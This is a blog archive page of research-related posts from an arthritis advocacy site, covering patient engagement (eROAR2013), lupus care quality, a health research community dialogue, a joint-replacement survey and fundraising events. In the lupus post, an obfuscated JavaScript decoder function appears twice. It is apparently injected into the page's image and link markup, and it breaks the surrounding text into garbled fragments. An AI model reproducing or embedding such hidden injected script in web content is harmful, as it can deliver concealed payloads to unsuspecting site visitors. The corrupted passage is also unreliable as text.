All posts related to "research"

eROAR2013: A case study on sustaining patient-research collaborative practices

Patient engagement is encouraged from the moment the patient steps into their doctor’s office and has been demonstrated to improve the patient's overall health outcome. In recent years, the term "patient engagement" has emerged in health research and knowledge translation. A study published in the Journal of Participatory Medicine reports on a research knowledge translation event, titled eROAR2013 (Reaching Out with Arthritis Research), led by members of the Arthritis Patient Advisory Board of Arthritis Research Canada. Using a case study approach, study authors describe the planning and the event itself, report on the challenges encountered, and note reflections and solutions that are pertinent for sustaining patient-research collaborative practices.

Definition of patient engagement

According to the study, patient engagement in research varies from minimal involvement to more participatory collaboration, and is broadly understood to occur when patients meaningfully and actively collaborate at any stage of the research process, from setting the research agenda to designing the research project, collecting data, and disseminating results. The foundation of patient engagement in health research is based on:

  • the motto "Nothing About Us Without Us" from Charlton J.'s study "Nothing about Us, Without Us: The Dialectics of Disability Oppression and Empowerment"
  • encouraging citizen empowerment through participation and wider societal developments
  • activating "patient as partners" to create patient-centred care and promote shared decision making
  • meeting current research values and ethical concepts such as mutual respect

The history of the Arthritis Patient Advisory Board (APAB) 

The Arthritis Patient Advisory Board (APAB), formerly known as the Consumer Advisory Board (CAB), is comprised of volunteer advocates with arthritis who bring personal experience and arthritis knowledge to research decision making at Arthritis Research Canada (ARC). Their goal is to ensure the patient perspective is represented on research matters related to prevention, treatment and self-management of arthritis. Individually and collectively, they communicate research information and findings to arthritis patients, professional organizations and the general public.

Their mission is "to participate in all components and phases of arthritis research, and serve as a bridge between researchers, people with arthritis, and the community at large." Since 2006, APAB members have organized annual knowledge translation events called Reaching Out with Arthritis Research in Vancouver, Canada. Each interactive event includes presentations from patients, researchers and health professionals. Topics covered include practical disease management information, best practices in prevention and management of arthritis and case studies from current research.

Planning and Preparation

visual note taken by patient arranged Sam Bradd Continue reading

Study shows that when care quality goes down, lupus damage goes up

An image with different medical and<script type=

function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe health icons” width=”300″ height=”300″ /> Image courtesy of digital art at FreeDigitalPhotos.net

According to findings from a recent study, poor patient-provider communication and care coordination result in increased damage in patients with systemic lupus erythematosus (SLE). If you would like to learn more about how to best communicate with your rheumatologist and physician, please visit function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeing-page">JointHealth™ Education and take Lesson 1: The Art of communicating with your rheumatologist.

The research, titled "Relationship Between Process of Care and a Subsequent Increase in Damage in Systemic Lupus Erythematosus" was published in Arthritis Care & Research. The team wanted to understand how data from the Lupus Outcome Study could be used to evaluate healthcare interactions and subsequent accumulation of damage by the disease over two years.

Continue reading

Are you interested in health research? Let’s talk!

Lets talk health research bannerThe BC Health Research Connection Project invites you to a community dialogue on health research. Registration is free.

You’re invited to a community dialogue on health research to discuss the development of a new provincial program that will help connect people like you to research opportunities. Below are the details for the event:

Date: Tuesday, June 27, 2017
Time: 5:45pm-8:00pm
Location:
Marpole-Oakridge Community Centre (Auditorium)
990 West 59th Avenue,
Vancouver
Registration: Free, click here. Please register by June 23.
*Refreshments will be served.

Whether you are healthy, sick, young or old, you can help by volunteering to participate in research in a variety of ways.

Come and share your ideas and tell us:

  • Why is health research important to you?
  • How can we keep you informed of research opportunities?

For additional information, contact:
Stefanie Cheah, Project Manager at Stefanie.cheah@vch.ca or 604-875-4111 (Ext. 22781)

The event is hosted by the BC Health Research Connection Project, which is led by Vancouver Coastal Health Research Institute in collaboration with health authorities, research institutes and universities across BC. Cheryl Koehn, Founder and President of Arthritis Consumer Experts, is a member of the research team.

What resources do you want to see in the EQUIP-TJR toolkit?

EQUIP banner for research studyHere’s your chance to take a Canada-wide survey on the patient’s views on quality indicator resources for hip and knee replacement rehabilitation.

Researchers at the Centre for Hip Health and Mobility in Vancouver have developed quality indicators (QIs) for hip and knee replacement rehabilitation. Quality indicators state the quality of rehabilitation care that all patients having a joint replacement for hip or knee osteoarthritis (OA) should expect to receive. They are currently creating a ‘toolkit’ to help people like you and your families learn about these QIs and use them to: Continue reading

The ARThritis Soirée will be at the Fairmont Hotel Vancouver on Thursday, May 18

Arthritis Soiree BannerHosted by Arthritis Research Canada, the ARThritis Soirée is an evening designed to attract the city’s business and community leaders, philanthropists, doctors, scientists, healthcare professionals, and those who have an appreciation of art and a desire to support arthritis research.

Research has shown art adds to one’s well-being and therefore is a great element in managing chronic diseases on a holistic level. Moreover, art adds an extra factor of excitement and depth to the Soirée each year with the introduction of a different art form.

This year's event will take place on Thursday, May 18, 2017 at the Fairmont Hotel Vancouver. The evening's entertainment will feature world-renowned violinist Jenny Bae.

Continue reading

Throwback Lupus – What was the state of lupus in 2010?

Slide image with butterfly to represent lupusIn honour of Lupus Awareness Month, the Arthritis Broadcast Network is doing a throwback coverage on lupus. The coverage highlights Arthritis Research Canada and Arthritis Consumer Experts' coverage of the 9th International Congress on Systemic Lupus Erythematous, Vancouver 2010 ("Lupus 2010"). The event was held in Vancouver, British Columbia, Canada in June, 2010. Hundreds of world leading researchers, healthcare professionals, and individuals living with systemic lupus erythematosus (SLE) learned about the current state of the science in SLE and future opportunities in lupus research, education and care.

The objectives of the Lupus 2010 were to: Continue reading